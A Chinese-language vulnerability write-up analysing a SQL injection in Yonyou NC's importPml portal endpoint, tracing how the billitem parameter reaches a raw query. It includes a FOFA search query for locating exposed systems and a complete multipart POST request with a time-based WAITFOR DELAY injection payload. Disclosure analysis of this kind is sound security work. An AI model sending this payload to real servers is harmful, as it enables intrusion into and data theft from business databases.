漏洞简介
用友NC系统可利用 /portal/pt/portalpage/importPml接口中的 billitem 参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC63、NC633、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
先看官方漏洞通告

因此搜索 importPml 方法的实现部分即可定位文件
nc/uap/portal/action/PortalPageManagerAction.class
package nc.uap.portal.action;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import nc.uap.lfw.core.AppInteractionUtil;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.login.vo.LfwSessionBean;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.constant.PortalEnv;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.service.itf.IPtPageQryService;
import nc.uap.portal.util.PmlUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.PtUtil;
import nc.uap.portal.vo.PtPageVO;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFBoolean;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.multipart.MultipartException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.multipart.MultipartResolver;
import org.springframework.web.multipart.commons.CommonsMultipartResolver;
import org.xml.sax.SAXException;
import uap.lfw.core.ml.LfwResBundle;
import uap.portal.cache.PageCacheHelper;
@Servlet(
path = "/portalpage"
)
public class PortalPageManagerAction extends BaseAction {
private static MultipartResolver multipartResolver = new CommonsMultipartResolver();
public PortalPageManagerAction() {
}
public void importPml() throws IOException {
MultipartHttpServletRequest req = getMultipartResolver(this.request);
Map<String, MultipartFile> fileMap = req.getFileMap();
List<MultipartFile> files = new ArrayList();
String billitem = req.getParameter("billitem");
if ("null".equals(billitem)) {
billitem = "";
}
if (MapUtils.isNotEmpty(fileMap)) {
files.addAll(fileMap.values());
}
String name = ((MultipartFile)files.get(0)).getOriginalFilename();
name = name.replace(".pml", "");
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
try {
Page page = PmlUtil.parser(IOUtils.toString(in, "UTF-8"));
page.setPagename(name);
PtPageVO vo = this.pml2vo(page, billitem);
StringBuffer where = new StringBuffer(" pagename='");
where.append(name).append("' and module='").append(vo.getModule());
if (StringUtils.isNotBlank(billitem)) {
where.append("' and pk_group='").append(billitem).append("' ");
} else {
where.append("' and ( pk_group='~' or pk_group='' ) ");
}
PtPageVO[] pages = PortalServiceUtil.getPageQryService().getPagesByCondition(where.toString());
if (pages != null && pages.length > 0) {
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000001"));
return;
}
String pageId = vo.getPagename();
if (StringUtils.isNumeric(pageId.substring(0, 1))) {
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-0000011"));
return;
}
Pattern p = Pattern.compile("^[a-zA-Z\\d]+$");
Matcher matcher = p.matcher(pageId);
if (!matcher.matches()) {
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-0000012"));
return;
}
vo.setUndercontrol(UFBoolean.TRUE);
PortalServiceUtil.getPageService().add(vo);
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000002") + name + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000003") + LfwResBundle.getInstance().getStrByID("pmng", "PortalPageManagerAction-000008"));
} catch (Exception e) {
if (e instanceof SAXException) {
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000004"));
return;
}
this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000005"));
}
PageCacheHelper.updatePageCache();
}
需要注意:请求体需要是文件上传格式
billitem 直接拼接进 where 语句中,然后代入 PortalServiceUtil.getPageQryService().getPagesByCondition 其实现逻辑如下
public PtPageVO[] getPagesByCondition(String condition) throws PortalServiceException {
PtBaseDAO dao = new PtBaseDAO();
try {
List<PtPageVO> vos = (List)dao.retrieveByClause(PtPageVO.class, condition);
if (vos != null && vos.size() > 0) {
return (PtPageVO[])vos.toArray(new PtPageVO[0]);
}
} catch (DAOException e) {
PortalLogger.error(e.getMessage(), e);
}
return null;
}
将 where 语句即 condition 又代入 dao.retrieveByClause 中,其实现逻辑如下
public Collection retrieveByClause(Class className, String condition) throws DAOException {
PersistenceManager manager = null;
Collection values = null;
try {
manager = this.createPersistenceManager(this.dataSource);
values = manager.retrieveByClause(className, condition);
} catch (DbException e) {
Logger.error(e.getMessage(), e);
throw new DAOException(e.getMessage());
} finally {
if (manager != null) {
manager.release();
}
}
return values;
}
将 condition 代入 createPersistenceManager.retrieveByClause 中,其实现逻辑如下
public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
BaseProcessor processor = new BeanListProcessor(className);
return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
}
通过 buildSql 组合 where 语句 其代码实现逻辑如下
private String buildSql(Class className, String condition, String[] fields) {
SuperVO vo = (SuperVO)this.InitClass(className);
String pkName = vo.getPKFieldName();
boolean hasPKField = false;
StringBuffer buffer = new StringBuffer();
String tableName = vo.getTableName();
if (fields == null) {
buffer.append("SELECT * FROM ").append(tableName);
} else {
buffer.append("SELECT ");
for(int i = 0; i < fields.length; ++i) {
if (fields[i] != null) {
buffer.append(fields[i]).append(",");
if (fields[i].equalsIgnoreCase(pkName)) {
hasPKField = true;
}
}
}
if (!hasPKField) {
buffer.append(pkName).append(",");
}
buffer.setLength(buffer.length() - 1);
buffer.append(" FROM ").append(tableName);
}
if (condition != null && condition.length() != 0) {
if (condition.toUpperCase().trim().startsWith("ORDER ")) {
buffer.append(" ").append(condition);
} else {
buffer.append(" WHERE ").append(condition);
}
}
return buffer.toString();
}
最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。
漏洞复现
漏洞利用需要注意只能是文件上传格式,需要注意,可参考上面的漏洞分析部分。
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----123456
------123456
Content-Disposition: form-data; name="Filedata"; filename="yuantu.jpg"
Content-Type: image/jpeg
<?xml version="1.0" encoding="UTF-8"?>
<page template="adminonerow" version="101" i18nname="admin-00001" visibility="0" isdefault="true" skin="webclassic" level="0" linkgroup="0000z010000000000002" ordernum="15">
<title>系统管理</title>
<layout id="l1" name="simpleLayout" sizes="100%">
<layout id="l2" name="paddingLayout" sizes="100%">
<portlet id="p3" name="pserver:NavigationPortlet" theme="clean" i18nname="admin-00002" title="导航条" column="0" />
<portlet id="p2" name="AdminMgrContentPortlet" theme="defaultround" i18nname="admin-00003" title="管理内容" column="0" />
</layout>
<layout id="l3" name="simpleLayout" sizes="100%">
<portlet id="p4" name="pserver:CopyRightPortlet" theme="clean" i18nname="admin-00004" title="版权" column="0" />
</layout>
</layout>
</page>
------123456--

参考
https://security.yonyou.com/#/noticeInfo?id=524


